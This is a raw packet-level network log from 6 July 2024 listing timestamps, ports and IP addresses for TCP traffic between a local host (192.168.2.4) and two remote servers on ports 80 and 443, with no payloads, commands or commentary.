Jul 6, 2024 14:10:12.375195026 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.375195026 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.375204086 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.375225067 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.375240088 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.375252008 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.375268936 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.375289917 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.375289917 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.375386000 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.375422955 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.375436068 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.375468969 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.375529051 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.375714064 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.375756025 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.375770092 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.375771999 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.375848055 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.375861883 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.375873089 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.375967026 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.375981092 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.375986099 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.376120090 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.376247883 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.376260042 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.376275063 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.376290083 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.376463890 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.376513004 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.376580954 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.377387047 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.377402067 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.377415895 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.377553940 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.377665997 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.377717972 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.377732038 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.377732992 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.377796888 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.377810955 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.377813101 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.377825975 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.377865076 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.377865076 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.377952099 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.377964973 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.377980947 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.377993107 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.378005981 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.378021002 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.378046989 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.378058910 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.378062010 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.378072977 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.378087044 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.378091097 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.378104925 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.378122091 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.378134012 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.378142118 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.378149033 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.378164053 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.378169060 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.378169060 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.378176928 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.378194094 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.378215075 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.378215075 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.378257036 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.378269911 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.378345966 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.378345966 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.378360033 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.378374100 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.378376961 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.378390074 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.378484964 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.378638029 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.378750086 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.378895044 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.378906965 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.378914118 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.379008055 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.379272938 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.379314899 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.379331112 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.379367113 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.379502058 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.379554033 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.379575014 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.379630089 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.422678947 CEST	49733	443	192.168.2.4	20.114.59.183
Jul 6, 2024 14:10:12.422718048 CEST	443	49733	20.114.59.183	192.168.2.4
Jul 6, 2024 14:10:12.422975063 CEST	49733	443	192.168.2.4	20.114.59.183
Jul 6, 2024 14:10:12.431974888 CEST	49733	443	192.168.2.4	20.114.59.183
Jul 6, 2024 14:10:12.431988001 CEST	443	49733	20.114.59.183	192.168.2.4
Jul 6, 2024 14:10:12.567465067 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.567487001 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.568229914 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.574404955 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.574419022 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.574531078 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.574537992 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.574543953 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.574582100 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.574596882 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.574599028 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.574599028 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.574610949 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.574613094 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.574626923 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.574713945 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.574770927 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.574784040 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.574868917 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.574879885 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.574990988 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.575004101 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.575017929 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.575033903 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.575099945 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.575119972 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.575131893 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.575189114 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.575201988 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.575233936 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.575233936 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.575342894 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.575355053 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.575436115 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.575448036 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.575450897 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.575517893 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.575568914 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.575583935 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.575598955 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.575716972 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.575730085 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.575732946 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.575826883 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.575839043 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.575843096 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.575876951 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.575979948 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.575992107 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.576035976 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.576035976 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.576076031 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.576143980 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.576189995 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.576203108 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.576206923 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.576298952 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.576320887 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.576334000 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.576348066 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.576412916 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.576467037 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.576479912 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.576503038 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.576518059 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.576659918 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.576669931 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.576802969 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.576817989 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.576818943 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.576914072 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.576986074 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.576999903 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.577013969 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.577016115 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.577069998 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.577083111 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.577086926 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.577236891 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.577255011 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.577308893 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.577325106 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.577397108 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.577409029 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.577483892 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.577532053 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.577543974 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.577599049 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.577610970 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.577615976 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.577644110 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.577891111 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.577904940 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.577918053 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.577960968 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.577960968 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.578016043 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.578028917 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.578090906 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.578119993 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.578133106 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.578214884 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.578366995 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.578385115 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.578516006 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.578533888 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.578562021 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.578574896 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.578591108 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.578619003 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.578630924 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.578639984 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.578665018 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.578665972 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.578680992 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.578691959 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.578706980 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.578830957 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.578844070 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.578847885 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.578886986 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.578886986 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.578919888 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.578933001 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.578948021 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.578982115 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.579122066 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.579133987 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.579171896 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.579185009 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.579188108 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.579276085 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.579278946 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.579293013 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.579308033 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.579375029 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.579557896 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.579571962 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.579704046 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.767995119 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.768013954 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.768054008 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.768066883 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.768081903 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.768081903 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.768126011 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.768126965 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.768126011 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.768145084 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.768203974 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.768209934 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.768250942 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.768271923 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.768383026 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.768394947 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.768419981 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.768500090 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.768512011 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.768522978 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.768551111 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.768573046 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.768687963 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.768697023 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.768709898 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.768753052 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.768798113 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.768801928 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.768815041 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.768827915 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.768868923 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.768868923 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.768918991 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.768948078 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.769027948 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.769079924 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.769124985 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.769191027 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.769208908 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.769222975 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.769232035 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.769243956 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.769314051 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.769318104 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.769354105 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.769368887 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.769413948 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.769431114 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.769540071 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.769552946 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.769567013 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.769584894 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.769731998 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.769758940 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.769809008 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.769859076 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.770004988 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.770075083 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.770088911 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.770097971 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.770159006 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.770184994 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.770205975 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.770220995 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.770278931 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.770278931 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.770293951 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.770320892 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.770339012 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.770437956 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.770467043 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.770488977 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.770519018 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.770543098 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.770605087 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.770611048 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.770652056 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.770673037 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.770735979 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.770818949 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.770844936 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.770920038 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.770992041 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.770998955 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.771012068 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.771025896 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.771049023 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.771059990 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.771059990 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.771061897 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.771096945 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.771110058 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.771143913 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:12.771168947 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.771198034 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:12.771217108 CEST	49732	80	192.168.2.4	211.108.60.155
